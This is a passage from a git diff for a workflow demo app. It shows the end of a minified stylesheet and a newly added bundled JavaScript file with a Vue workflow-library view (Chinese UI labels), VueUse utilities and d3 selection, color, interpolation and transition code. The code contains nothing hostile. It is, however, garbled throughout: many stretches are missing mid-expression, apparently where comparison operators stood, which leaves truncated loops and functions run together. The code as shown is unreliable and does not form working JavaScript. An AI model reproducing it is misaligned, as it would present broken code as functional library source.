13px;color:var(--text-tertiary);flex-shrink:0}.wf-route-row>.icon.wf-route-row__icon--back[data-v-e385afa9]{color:var(--state-danger)}.wf-route-row>.icon.wf-route-row__icon--pass[data-v-e385afa9]{color:var(--state-info)}.wf-route-row__name[data-v-e385afa9]{flex:1;min-width:0;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.wf-file-list[data-v-e385afa9]{display:flex;flex-direction:column;gap:2px}.wf-file-row[data-v-e385afa9]{display:flex;align-items:center;gap:8px;height:30px;padding:0 6px;font-size:12px;color:var(--text-secondary)}.wf-file-row>.icon[data-v-e385afa9]{--icon-size: 13px;color:var(--text-tertiary);flex-shrink:0}.wf-file-row__name[data-v-e385afa9]{font-family:ui-monospace,SFMono-Regular,Menlo,monospace;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.wf-confirm-row[data-v-e385afa9]{display:flex;align-items:center;justify-content:space-between;gap:10px}.wf-confirm-row__text[data-v-e385afa9]{font-size:11px;color:var(--text-tertiary)}.wf-btn[data-v-e385afa9]{display:inline-flex;align-items:center;gap:6px;height:32px;padding:0 12px;border:1px solid var(--border-default);border-radius:8px;background:var(--surface-raised);color:var(--text-secondary);font-size:13px;font-family:inherit;cursor:pointer;white-space:nowrap;transition:background-color .12s ease,color .12s ease}.wf-btn .icon[data-v-e385afa9]{--icon-size: 14px}.wf-btn[data-v-e385afa9]:hover{background:var(--hover-bg);color:var(--text-primary)}.wf-btn[data-v-e385afa9]:disabled{cursor:default;opacity:.55}.wf-btn--ghost[data-v-e385afa9]{border-color:transparent;background:transparent}.wf-btn--ghost[data-v-e385afa9]:hover{background:var(--hover-bg)}.wf-btn--issue[data-v-e385afa9],.wf-btn--issue[data-v-e385afa9]:hover{color:var(--state-danger)}.wf-btn--primary[data-v-e385afa9]{border-color:var(--accent);background:var(--accent);color:var(--on-accent)}.wf-btn--primary[data-v-e385afa9]:hover{background:var(--accent-hover);color:var(--on-accent)}.wf-btn--danger-outline[data-v-e385afa9]{width:100%;justify-content:center;border-color:var(--border-default);color:var(--state-danger)}.wf-btn--danger-outline[data-v-e385afa9]:hover{background:var(--hover-bg);color:var(--state-danger)}.wf-btn--danger-confirm[data-v-e385afa9]{border-color:var(--state-danger);background:var(--state-danger);color:var(--on-accent);flex-shrink:0}.wf-btn--danger-confirm[data-v-e385afa9]:hover{background:var(--state-danger-strong);color:var(--on-accent)}.wf-icon-btn[data-v-e385afa9]{display:inline-flex;align-items:center;justify-content:center;width:30px;height:30px;border:none;border-radius:7px;background:transparent;color:var(--text-tertiary);cursor:pointer;flex-shrink:0;transition:background-color .12s ease,color .12s ease}.wf-icon-btn .icon[data-v-e385afa9]{--icon-size: 15px}.wf-icon-btn[data-v-e385afa9]:hover{background:var(--hover-bg);color:var(--text-primary)}.wf-icon-btn--sm[data-v-e385afa9]{width:24px;height:24px}.wf-icon-btn--sm .icon[data-v-e385afa9]{--icon-size: 12px}.wf-editor__canvas .vue-flow__edge-path{stroke:var(--text-secondary);stroke-width:1.5}.wf-editor__canvas .vue-flow__edge.wf-edge-approved .vue-flow__edge-path{stroke:var(--state-info)}.wf-editor__canvas .vue-flow__edge.wf-edge-back .vue-flow__edge-path{stroke:var(--state-danger)}.wf-editor__canvas .vue-flow__edge:not(.wf-edge-approved):not(.wf-edge-back):hover .vue-flow__edge-path{stroke:var(--text-primary)}.wf-editor__canvas .vue-flow__edge .vue-flow__edge-path{transition:stroke-width .12s ease}.wf-editor__canvas .vue-flow__edge.selected .vue-flow__edge-path{stroke:var(--text-primary);stroke-width:2.5}.wf-editor__canvas .vue-flow__edge.wf-edge-approved.selected .vue-flow__edge-path{stroke:var(--state-info);stroke-width:2.5}.wf-editor__canvas .vue-flow__edge.wf-edge-back.selected .vue-flow__edge-path{stroke:var(--state-danger);stroke-width:2.5}.wf-editor__canvas .vue-flow__connection-path{stroke:var(--accent);stroke-width:1.5}.wf-editor__canvas .vue-flow__handle{width:8px;height:8px;background:var(--surface-raised);border:1.5px solid var(--text-tertiary)}.wf-editor__canvas .vue-flow__handle:hover{border-color:var(--accent)}.wf-editor__canvas .vue-flow__node.selectable:focus{outline:none}.wf-editor__canvas .vue-flow__controls{box-shadow:var(--shadow-soft);border-radius:8px;overflow:hidden}.wf-editor__canvas .vue-flow__controls-button{background:var(--surface-raised);border-bottom:1px solid var(--border-default);color:var(--text-secondary);width:26px;height:26px}.wf-editor__canvas .vue-flow__controls-button:hover{background:var(--hover-bg);color:var(--text-primary)}.wf-editor__canvas .vue-flow__controls-button svg{fill:currentColor}.wf-editor__canvas .vue-flow__minimap{background:var(--surface-soft);border:1px solid var(--border-default);border-radius:8px}.wf-editor__canvas .vue-flow__background{background:var(--surface-base)}.wf-editor__canvas .vue-flow__edge-text{fill:var(--text-tertiary);font-size:10px}.wf-editor__canvas .vue-flow__edge-textbg{fill:var(--surface-base)}.wf-shell[data-v-b5807ee2]{position:fixed;top:0;right:0;bottom:0;left:0;z-index:200;background:var(--surface-base);display:flex;flex-direction:column}.wf-shell__loading[data-v-b5807ee2]{flex:1;display:flex;align-items:center;justify-content:center;color:var(--text-secondary);font-size:13px}.wf-shell__error[data-v-b5807ee2]{position:absolute;left:50%;bottom:24px;transform:translate(-50%);display:flex;align-items:center;gap:10px;max-width:min(560px,100% - 48px);padding:8px 12px;border:1px solid var(--state-danger);border-radius:8px;background:var(--surface-raised);color:var(--state-danger);font-size:13px;line-height:1.4}.wf-shell__error-close[data-v-b5807ee2]{flex-shrink:0;display:inline-flex;align-items:center;justify-content:center;width:20px;height:20px;padding:0;border:none;border-radius:4px;background:transparent;color:inherit;font-size:14px;font-family:inherit;cursor:pointer}.wf-shell__error-close[data-v-b5807ee2]:hover{background:var(--hover-bg)} diff --git a/demo/static/dist/assets/WorkflowDemoShell.js b/demo/static/dist/assets/WorkflowDemoShell.js new file mode 100644 index 0000000..9ca8208 --- /dev/null +++ b/demo/static/dist/assets/WorkflowDemoShell.js @@ -0,0 +1,44 @@ +import{d as ye,b as H,c as W,g as E,y as ae,u as P,F as Se,r as ot,t as ve,A as _i,k as pe,J as Ht,G as na,w as Ee,o as it,a2 as Me,n as Te,a6 as pu,E as _e,l as ie,a7 as oa,Q as vu,q as xe,s as ze,a0 as on,L as ia,M as no,N as Ye,a8 as mu,a as ji,a9 as yu,e as Ce,f as ke,_ as Et,x as wu,C as Zi,O as _u,$ as bu,aa as ge,Y as Dt,Z as $e,a4 as ra,ab as qi,S as go,H as oo,ac as Eu,W as kt,i as xu,P as $u,ad as cn,ae as Ln,h as Le,j as Fe}from"./runtime-dom.esm-bundler.js";import{I as fe}from"./main.js";import{_ as Lt}from"./_plugin-vue_export-helper.js";import"./useMarkdownRenderer.js";import"./FancyCheck.js";const ku={class:"wf-library"},Nu={class:"wf-library__topbar"},Su={class:"wf-library__container"},Cu={class:"wf-library__heading"},Mu={key:0,class:"wf-library__list"},Iu=["onClick"],Tu={class:"wf-row__icon"},Ou={class:"wf-row__main"},Au={class:"wf-row__name"},Du={class:"wf-row__desc"},Pu={class:"wf-row__meta"},zu=["onClick"],Ru=["onClick"],Bu=["onClick"],Vu=["onClick"],Hu={key:1,class:"wf-library__empty"},Lu=ye({__name:"WorkflowLibraryView",props:{workflows:{}},emits:["open","create","duplicate","delete","exit"],setup(e,{emit:t}){const n=t,o=pe("");function i(s){n("delete",s),o.value=""}function r(s){return{"--icon-src":`url(${s})`}}return(s,a)=>(H(),W("div",ku,[E("header",Nu,[E("button",{type:"button",class:"wf-btn wf-btn--ghost",onClick:a[0]||(a[0]=l=>s.$emit("exit"))},[E("span",{class:"icon",style:ae(r(P(fe).arrowLeft)),"aria-hidden":"true"},null,4),a[4]||(a[4]=E("span",null,"返回对话",-1))])]),E("div",Su,[E("div",Cu,[a[6]||(a[6]=E("div",{class:"wf-library__title-block"},[E("h1",{class:"wf-library__title"},"工作流"),E("p",{class:"wf-library__subtitle"}," 把一套既定的工作方式、验证方式与结束方式存为流程,在对话中激活复用。 ")],-1)),E("button",{type:"button",class:"wf-btn wf-btn--primary",onClick:a[1]||(a[1]=l=>s.$emit("create"))},[E("span",{class:"icon",style:ae(r(P(fe).plus)),"aria-hidden":"true"},null,4),a[5]||(a[5]=E("span",null,"新建工作流",-1))])]),e.workflows.length?(H(),W("div",Mu,[(H(!0),W(Se,null,ot(e.workflows,l=>(H(),W("div",{key:l.name,class:"wf-row",onClick:u=>s.$emit("open",l.name)},[E("div",Tu,[E("span",{class:"icon icon-md",style:ae(r(P(fe).workflow)),"aria-hidden":"true"},null,4)]),E("div",Ou,[E("div",Au,ve(l.name),1),E("div",Du,ve(l.description||"(无描述)"),1)]),E("div",Pu,[E("span",null,ve(l.nodeCount)+" 个节点",1),a[7]||(a[7]=E("span",{class:"wf-row__meta-sep"},"·",-1)),E("span",null,ve(l.source==="builtin"?"内置":"用户"),1),a[8]||(a[8]=E("span",{class:"wf-row__meta-sep"},"·",-1)),E("span",null,ve(l.updatedAt),1)]),E("div",{class:"wf-row__actions",onClick:a[2]||(a[2]=_i(()=>{},["stop"]))},[E("button",{type:"button",class:"wf-icon-btn","aria-label":"编辑",title:"编辑",onClick:u=>s.$emit("open",l.name)},[E("span",{class:"icon",style:ae(r(P(fe).pencil)),"aria-hidden":"true"},null,4)],8,zu),E("button",{type:"button",class:"wf-icon-btn","aria-label":"复制",title:"复制",onClick:u=>s.$emit("duplicate",l.name)},[E("span",{class:"icon",style:ae(r(P(fe).copy)),"aria-hidden":"true"},null,4)],8,Ru),o.value!==l.name?(H(),W("button",{key:0,type:"button",class:"wf-icon-btn wf-icon-btn--danger","aria-label":"删除",title:"删除",onClick:u=>o.value=l.name},[E("span",{class:"icon",style:ae(r(P(fe).trash)),"aria-hidden":"true"},null,4)],8,Bu)):(H(),W("button",{key:1,type:"button",class:"wf-btn wf-btn--danger-confirm",onClick:u=>i(l.name)}," 确认删除 ",8,Vu))])],8,Iu))),128))])):(H(),W("div",Hu,[E("span",{class:"icon icon-xl",style:ae(r(P(fe).workflow)),"aria-hidden":"true"},null,4),a[10]||(a[10]=E("p",{class:"wf-library__empty-title"},"还没有工作流",-1)),a[11]||(a[11]=E("p",{class:"wf-library__empty-hint"},"新建一个,或在对话中让 AI 帮你生成后归档。",-1)),E("button",{type:"button",class:"wf-btn wf-btn--primary",onClick:a[3]||(a[3]=l=>s.$emit("create"))},[E("span",{class:"icon",style:ae(r(P(fe).plus)),"aria-hidden":"true"},null,4),a[9]||(a[9]=E("span",null,"新建工作流",-1))])]))])]))}}),Fu=Lt(Lu,[["__scopeId","data-v-098294cb"]]);function _n(e){return ia()?(no(e),!0):!1}function ut(e){return typeof e=="function"?e():P(e)}const Yu=typeof window<"u"&&typeof document<"u",Gu=e=>typeof e<"u",Xu=Object.prototype.toString,Wu=e=>Xu.call(e)==="[object Object]",Uu=()=>{};function ju(e,t){function n(...o){return new Promise((i,r)=>{Promise.resolve(e(()=>t.apply(this,o),{fn:t,thisArg:this,args:o})).then(i).catch(r)})}return n}const sa=e=>e();function Zu(e=sa){const t=pe(!0);function n(){t.value=!1}function o(){t.value=!0}const i=(...r)=>{t.value&&e(...r)};return{isActive:Eu(t),pause:n,resume:o,eventFilter:i}}function xr(e,t=!1,n="Timeout"){return new Promise((o,i)=>{setTimeout(t?()=>i(n):o,e)})}function qu(e,t,n={}){const{eventFilter:o=sa,...i}=n;return Ee(e,ju(o,t),i)}function Yt(e,t,n={}){const{eventFilter:o,...i}=n,{eventFilter:r,pause:s,resume:a,isActive:l}=Zu(o);return{stop:qu(e,t,{...i,eventFilter:r}),pause:s,resume:a,isActive:l}}function Ku(e,t={}){if(!Zi(e))return _u(e);const n=Array.isArray(e.value)?Array.from({length:e.value.length}):{};for(const o in e.value)n[o]=bu(()=>({get(){return e.value[o]},set(i){var r;if((r=ut(t.replaceRef))!=null?r:!0)if(Array.isArray(e.value)){const a=[...e.value];a[o]=i,e.value=a}else{const a={...e.value,[o]:i};Object.setPrototypeOf(a,Object.getPrototypeOf(e.value)),e.value=a}else e.value[o]=i}}));return n}function bi(e,t=!1){function n(d,{flush:h="sync",deep:g=!1,timeout:_,throwOnTimeout:b}={}){let S=null;const N=[new Promise(v=>{S=Ee(e,x=>{d(x)!==t&&(S==null||S(),v(x))},{flush:h,deep:g,immediate:!0})})];return _!=null&&N.push(xr(_,b).then(()=>ut(e)).finally(()=>S==null?void 0:S())),Promise.race(N)}function o(d,h){if(!Zi(d))return n(x=>x===d,h);const{flush:g="sync",deep:_=!1,timeout:b,throwOnTimeout:S}=h??{};let $=null;const v=[new Promise(x=>{$=Ee([e,d],([D,V])=>{t!==(D===V)&&($==null||$(),x(D))},{flush:g,deep:_,immediate:!0})})];return b!=null&&v.push(xr(b,S).then(()=>ut(e)).finally(()=>($==null||$(),ut(e)))),Promise.race(v)}function i(d){return n(h=>!!h,d)}function r(d){return o(null,d)}function s(d){return o(void 0,d)}function a(d){return n(Number.isNaN,d)}function l(d,h){return n(g=>{const _=Array.from(g);return _.includes(d)||_.includes(ut(d))},h)}function u(d){return c(1,d)}function c(d=1,h){let g=-1;return n(()=>(g+=1,g>=d),h)}return Array.isArray(ut(e))?{toMatch:n,toContains:l,changed:u,changedTimes:c,get not(){return bi(e,!t)}}:{toMatch:n,toBe:o,toBeTruthy:i,toBeNull:r,toBeNaN:a,toBeUndefined:s,changed:u,changedTimes:c,get not(){return bi(e,!t)}}}function Ei(e){return bi(e)}function Ju(e){var t;const n=ut(e);return(t=n==null?void 0:n.$el)!=null?t:n}const aa=Yu?window:void 0;function la(...e){let t,n,o,i;if(typeof e[0]=="string"||Array.isArray(e[0])?([n,o,i]=e,t=aa):[t,n,o,i]=e,!t)return Uu;Array.isArray(n)||(n=[n]),Array.isArray(o)||(o=[o]);const r=[],s=()=>{r.forEach(c=>c()),r.length=0},a=(c,d,h,g)=>(c.addEventListener(d,h,g),()=>c.removeEventListener(d,h,g)),l=Ee(()=>[Ju(t),ut(i)],([c,d])=>{if(s(),!c)return;const h=Wu(d)?{...d}:d;r.push(...n.flatMap(g=>o.map(_=>a(c,g,_,h))))},{immediate:!0,flush:"post"}),u=()=>{l(),s()};return _n(u),u}function Qu(e){return typeof e=="function"?e:typeof e=="string"?t=>t.key===e:Array.isArray(e)?t=>e.includes(t.key):()=>!0}function $r(...e){let t,n,o={};e.length===3?(t=e[0],n=e[1],o=e[2]):e.length===2?typeof e[1]=="object"?(t=!0,n=e[0],o=e[1]):(t=e[0],n=e[1]):(t=!0,n=e[0]);const{target:i=aa,eventName:r="keydown",passive:s=!1,dedupe:a=!1}=o,l=Qu(t);return la(i,r,c=>{c.repeat&&ut(a)||l(c)&&n(c)},s)}function ec(e){return JSON.parse(JSON.stringify(e))}function Jo(e,t,n,o={}){var i,r,s;const{clone:a=!1,passive:l=!1,eventName:u,deep:c=!1,defaultValue:d,shouldEmit:h}=o,g=on(),_=n||(g==null?void 0:g.emit)||((i=g==null?void 0:g.$emit)==null?void 0:i.bind(g))||((s=(r=g==null?void 0:g.proxy)==null?void 0:r.$emit)==null?void 0:s.bind(g==null?void 0:g.proxy));let b=u;t||(t="modelValue"),b=b||`update:${t.toString()}`;const S=v=>a?typeof a=="function"?a(v):ec(v):v,$=()=>Gu(e[t])?S(e[t]):d,N=v=>{h?h(v)&&_(b,v):_(b,v)};if(l){const v=$(),x=pe(v);let D=!1;return Ee(()=>e[t],V=>{D||(D=!0,x.value=S(V),Ye(()=>D=!1))}),Ee(x,V=>{!D&&(V!==e[t]||c)&&N(V)},{deep:c}),x}else return ie({get(){return $()},set(v){N(v)}})}var tc={value:()=>{}};function Po(){for(var e=0,t=arguments.length,n={},o;e=0&&(o=n.slice(i+1),n=n.slice(0,i)),n&&!t.hasOwnProperty(n))throw new Error("unknown type: "+n);return{type:n,name:o}})}io.prototype=Po.prototype={constructor:io,on:function(e,t){var n=this._,o=nc(e+"",n),i,r=-1,s=o.length;if(arguments.length<2){for(;++r0)for(var n=new Array(i),o=0,i,r;o=0&&(t=e.slice(0,n))!=="xmlns"&&(e=e.slice(n+1)),Nr.hasOwnProperty(t)?{space:Nr[t],local:e}:e}function ic(e){return function(){var t=this.ownerDocument,n=this.namespaceURI;return n===xi&&t.documentElement.namespaceURI===xi?t.createElement(e):t.createElementNS(n,e)}}function rc(e){return function(){return this.ownerDocument.createElementNS(e.space,e.local)}}function ua(e){var t=zo(e);return(t.local?rc:ic)(t)}function sc(){}function Ki(e){return e==null?sc:function(){return this.querySelector(e)}}function ac(e){typeof e!="function"&&(e=Ki(e));for(var t=this._groups,n=t.length,o=new Array(n),i=0;i=v&&(v=N+1);!(D=S[v])&&++v<_;);x._next=D||null}}return s=new Ve(s,o),s._enter=a,s._exit=l,s}function Sc(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function Cc(){return new Ve(this._exit||this._groups.map(ha),this._parents)}function Mc(e,t,n){var o=this.enter(),i=this,r=this.exit();return typeof e=="function"?(o=e(o),o&&(o=o.selection())):o=o.append(e+""),t!=null&&(i=t(i),i&&(i=i.selection())),n==null?r.remove():n(r),o&&i?o.merge(i).order():i}function Ic(e){for(var t=e.selection?e.selection():e,n=this._groups,o=t._groups,i=n.length,r=o.length,s=Math.min(i,r),a=new Array(i),l=0;l=0;)(s=o[i])&&(r&&s.compareDocumentPosition(r)^4&&r.parentNode.insertBefore(s,r),r=s);return this}function Oc(e){e||(e=Ac);function t(d,h){return d&&h?e(d.__data__,h.__data__):!d-!h}for(var n=this._groups,o=n.length,i=new Array(o),r=0;rt?1:e>=t?0:NaN}function Dc(){var e=arguments[0];return arguments[0]=this,e.apply(null,arguments),this}function Pc(){return Array.from(this)}function zc(){for(var e=this._groups,t=0,n=e.length;t1?this.each((t==null?Uc:typeof t=="function"?Zc:jc)(e,t,n??"")):qt(this.node(),e)}function qt(e,t){return e.style.getPropertyValue(t)||ga(e).getComputedStyle(e,null).getPropertyValue(t)}function Kc(e){return function(){delete this[e]}}function Jc(e,t){return function(){this[e]=t}}function Qc(e,t){return function(){var n=t.apply(this,arguments);n==null?delete this[e]:this[e]=n}}function ed(e,t){return arguments.length>1?this.each((t==null?Kc:typeof t=="function"?Qc:Jc)(e,t)):this.node()[e]}function pa(e){return e.trim().split(/^|\s+/)}function Ji(e){return e.classList||new va(e)}function va(e){this._node=e,this._names=pa(e.getAttribute("class")||"")}va.prototype={add:function(e){var t=this._names.indexOf(e);t<0&&(this._names.push(e),this._node.setAttribute("class",this._names.join(" ")))},remove:function(e){var t=this._names.indexOf(e);t>=0&&(this._names.splice(t,1),this._node.setAttribute("class",this._names.join(" ")))},contains:function(e){return this._names.indexOf(e)>=0}};function ma(e,t){for(var n=Ji(e),o=-1,i=t.length;++o=0&&(n=t.slice(o+1),t=t.slice(0,o)),{type:t,name:n}})}function Cd(e){return function(){var t=this.__on;if(t){for(var n=0,o=-1,i=t.length,r;n()=>e;function $i(e,{sourceEvent:t,subject:n,target:o,identifier:i,active:r,x:s,y:a,dx:l,dy:u,dispatch:c}){Object.defineProperties(this,{type:{value:e,enumerable:!0,configurable:!0},sourceEvent:{value:t,enumerable:!0,configurable:!0},subject:{value:n,enumerable:!0,configurable:!0},target:{value:o,enumerable:!0,configurable:!0},identifier:{value:i,enumerable:!0,configurable:!0},active:{value:r,enumerable:!0,configurable:!0},x:{value:s,enumerable:!0,configurable:!0},y:{value:a,enumerable:!0,configurable:!0},dx:{value:l,enumerable:!0,configurable:!0},dy:{value:u,enumerable:!0,configurable:!0},_:{value:c}})}$i.prototype.on=function(){var e=this._.on.apply(this._,arguments);return e===this._?this:e};function Bd(e){return!e.ctrlKey&&!e.button}function Vd(){return this.parentNode}function Hd(e,t){return t??{x:e.x,y:e.y}}function Ld(){return navigator.maxTouchPoints||"ontouchstart"in this}function Fd(){var e=Bd,t=Vd,n=Hd,o=Ld,i={},r=Po("start","drag","end"),s=0,a,l,u,c,d=0;function h(x){x.on("mousedown.drag",g).filter(o).on("touchstart.drag",S).on("touchmove.drag",$,Rd).on("touchend.drag touchcancel.drag",N).style("touch-action","none").style("-webkit-tap-highlight-color","rgba(0,0,0,0)")}function g(x,D){if(!(c||!e.call(this,x,D))){var V=v(this,t.call(this,x,D),x,D,"mouse");V&&(Ge(x.view).on("mousemove.drag",_,bn).on("mouseup.drag",b,bn),ba(x.view),Qo(x),u=!1,a=x.clientX,l=x.clientY,V("start",x))}}function _(x){if(Xt(x),!u){var D=x.clientX-a,V=x.clientY-l;u=D*D+V*V>d}i.mouse("drag",x)}function b(x){Ge(x.view).on("mousemove.drag mouseup.drag",null),Ea(x.view,u),Xt(x),i.mouse("end",x)}function S(x,D){if(e.call(this,x,D)){var V=x.changedTouches,F=t.call(this,x,D),B=V.length,G,L;for(G=0;G>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Yn(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Yn(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=Gd.exec(e))?new Re(t[1],t[2],t[3],1):(t=Xd.exec(e))?new Re(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=Wd.exec(e))?Yn(t[1],t[2],t[3],t[4]):(t=Ud.exec(e))?Yn(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=jd.exec(e))?Ar(t[1],t[2]/100,t[3]/100,1):(t=Zd.exec(e))?Ar(t[1],t[2]/100,t[3]/100,t[4]):Sr.hasOwnProperty(e)?Ir(Sr[e]):e==="transparent"?new Re(NaN,NaN,NaN,0):null}function Ir(e){return new Re(e>>16&255,e>>8&255,e&255,1)}function Yn(e,t,n,o){return o<=0&&(e=t=n=NaN),new Re(e,t,n,o)}function Jd(e){return e instanceof Pn||(e=Pt(e)),e?(e=e.rgb(),new Re(e.r,e.g,e.b,e.opacity)):new Re}function ki(e,t,n,o){return arguments.length===1?Jd(e):new Re(e,t,n,o??1)}function Re(e,t,n,o){this.r=+e,this.g=+t,this.b=+n,this.opacity=+o}Qi(Re,ki,xa(Pn,{brighter(e){return e=e==null?vo:Math.pow(vo,e),new Re(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?En:Math.pow(En,e),new Re(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Re(Tt(this.r),Tt(this.g),Tt(this.b),mo(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:Tr,formatHex:Tr,formatHex8:Qd,formatRgb:Or,toString:Or}));function Tr(){return`#${Mt(this.r)}${Mt(this.g)}${Mt(this.b)}`}function Qd(){return`#${Mt(this.r)}${Mt(this.g)}${Mt(this.b)}${Mt((isNaN(this.opacity)?1:this.opacity)*255)}`}function Or(){const e=mo(this.opacity);return`${e===1?"rgb(":"rgba("}${Tt(this.r)}, ${Tt(this.g)}, ${Tt(this.b)}${e===1?")":`, ${e})`}`}function mo(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function Tt(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function Mt(e){return e=Tt(e),(e<16?"0":"")+e.toString(16)}function Ar(e,t,n,o){return o<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Xe(e,t,n,o)}function $a(e){if(e instanceof Xe)return new Xe(e.h,e.s,e.l,e.opacity);if(e instanceof Pn||(e=Pt(e)),!e)return new Xe;if(e instanceof Xe)return e;e=e.rgb();var t=e.r/255,n=e.g/255,o=e.b/255,i=Math.min(t,n,o),r=Math.max(t,n,o),s=NaN,a=r-i,l=(r+i)/2;return a?(t===r?s=(n-o)/a+(n0&&l<1?0:s,new Xe(s,a,l,e.opacity)}function ef(e,t,n,o){return arguments.length===1?$a(e):new Xe(e,t,n,o??1)}function Xe(e,t,n,o){this.h=+e,this.s=+t,this.l=+n,this.opacity=+o}Qi(Xe,ef,xa(Pn,{brighter(e){return e=e==null?vo:Math.pow(vo,e),new Xe(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?En:Math.pow(En,e),new Xe(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,o=n+(n<.5?n:1-n)*t,i=2*n-o;return new Re(ei(e>=240?e-240:e+120,i,o),ei(e,i,o),ei(e<120?e+240:e-120,i,o),this.opacity)},clamp(){return new Xe(Dr(this.h),Gn(this.s),Gn(this.l),mo(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=mo(this.opacity);return`${e===1?"hsl(":"hsla("}${Dr(this.h)}, ${Gn(this.s)*100}%, ${Gn(this.l)*100}%${e===1?")":`, ${e})`}`}}));function Dr(e){return e=(e||0)%360,e<0?e+360:e}function Gn(e){return Math.max(0,Math.min(1,e||0))}function ei(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const er=e=>()=>e;function tf(e,t){return function(n){return e+n*t}}function nf(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(o){return Math.pow(e+o*t,n)}}function of(e){return(e=+e)==1?ka:function(t,n){return n-t?nf(t,n,e):er(isNaN(t)?n:t)}}function ka(e,t){var n=t-e;return n?tf(e,n):er(isNaN(e)?t:e)}const yo=function e(t){var n=of(t);function o(i,r){var s=n((i=ki(i)).r,(r=ki(r)).r),a=n(i.g,r.g),l=n(i.b,r.b),u=ka(i.opacity,r.opacity);return function(c){return i.r=s(c),i.g=a(c),i.b=l(c),i.opacity=u(c),i+""}}return o.gamma=e,o}(1);function rf(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,o=t.slice(),i;return function(r){for(i=0;in&&(r=t.slice(n,r),a[s]?a[s]+=r:a[++s]=r),(o=o[0])===(i=i[0])?a[s]?a[s]+=i:a[++s]=i:(a[++s]=null,l.push({i:s,x:Je(o,i)})),n=ti.lastIndex;return n180?c+=360:c-u>180&&(u+=360),h.push({i:d.push(i(d)+"rotate(",null,o)-2,x:Je(u,c)})):c&&d.push(i(d)+"rotate("+c+o)}function a(u,c,d,h){u!==c?h.push({i:d.push(i(d)+"skewX(",null,o)-2,x:Je(u,c)}):c&&d.push(i(d)+"skewX("+c+o)}function l(u,c,d,h,g,_){if(u!==d||c!==h){var b=g.push(i(g)+"scale(",null,",",null,")");_.push({i:b-4,x:Je(u,d)},{i:b-2,x:Je(c,h)})}else(d!==1||h!==1)&&g.push(i(g)+"scale("+d+","+h+")")}return function(u,c){var d=[],h=[];return u=e(u),c=e(c),r(u.translateX,u.translateY,c.translateX,c.translateY,d,h),s(u.rotate,c.rotate,d,h),a(u.skewX,c.skewX,d,h),l(u.scaleX,u.scaleY,c.scaleX,c.scaleY,d,h),u=c=null,function(g){for(var _=-1,b=h.length,S;++_=0&&e._call.call(void 0,t),e=e._next;--Kt}function Rr(){zt=(_o=$n.now())+Ro,Kt=dn=0;try{_f()}finally{Kt=0,Ef(),zt=0}}function bf(){var e=$n.now(),t=e-_o;t>Ma&&(Ro-=t,_o=e)}function Ef(){for(var e,t=wo,n,o=1/0;t;)t._call?(o>t._time&&(o=t._time),e=t,t=t._next):(n=t._next,t._next=null,t=e?e._next=n:wo=n);fn=e,Ci(o)}function Ci(e){if(!Kt){dn&&(dn=clearTimeout(dn));var t=e-zt;t>24?(e<1/0&&(dn=setTimeout(Rr,e-$n.now()-Ro)),sn&&(sn=clearInterval(sn))):(sn||(_o=$n.now(),sn=setInterval(bf,Ma)),Kt=1,Ia(Rr))}}function Br(e,t,n){var o=new bo;return t=t==null?0:+t,o.restart(i=>{o.stop(),e(i+t)},t,n),o}var xf=Po("start","end","cancel","interrupt"),$f=[],Oa=0,Vr=1,Mi=2,so=3,Hr=4,Ii=5,ao=6;function Bo(e,t,n,o,i,r){var s=e.__transition;if(!s)e.__transition={};else if(n in s)return;kf(e,n,{name:t,index:o,group:i,on:xf,tween:$f,time:r.time,delay:r.delay,duration:r.duration,ease:r.ease,timer:null,state:Oa})}function nr(e,t){var n=Ue(e,t);if(n.state>Oa)throw new Error("too late; already scheduled");return n}function rt(e,t){var n=Ue(e,t);if(n.state>so)throw new Error("too late; already running");return n}function Ue(e,t){var n=e.__transition;if(!n||!(n=n[t]))throw new Error("transition not found");return n}function kf(e,t,n){var o=e.__transition,i;o[t]=n,n.timer=Ta(r,0,n.time);function r(u){n.state=Vr,n.timer.restart(s,n.delay,n.time),n.delay<=u&&s(u-n.delay)}function s(u){var c,d,h,g;if(n.state!==Vr)return l();for(c in o)if(g=o[c],g.name===n.name){if(g.state===so)return Br(s);g.state===Hr?(g.state=ao,g.timer.stop(),g.on.call("interrupt",e,e.__data__,g.index,g.group),delete o[c]):+cMi&&o.state=0&&(t=t.slice(0,n)),!t||t==="start"})}function th(e,t,n){var o,i,r=eh(t)?nr:rt;return function(){var s=r(this,e),a=s.on;a!==o&&(i=(o=a).copy()).on(t,n),s.on=i}}function nh(e,t){var n=this._id;return arguments.length<2?Ue(this.node(),n).on.on(e):this.each(th(n,e,t))}function oh(e){return function(){var t=this.parentNode;for(var n in this.__transition)if(+n!==e)return;t&&t.removeChild(this)}}function ih(){return this.on("end.remove",oh(this._id))}function rh(e){var t=this._name,n=this._id;typeof e!="function"&&(e=Ki(e));for(var o=this._groups,i=o.length,r=new Array(i),s=0;s()=>e;function 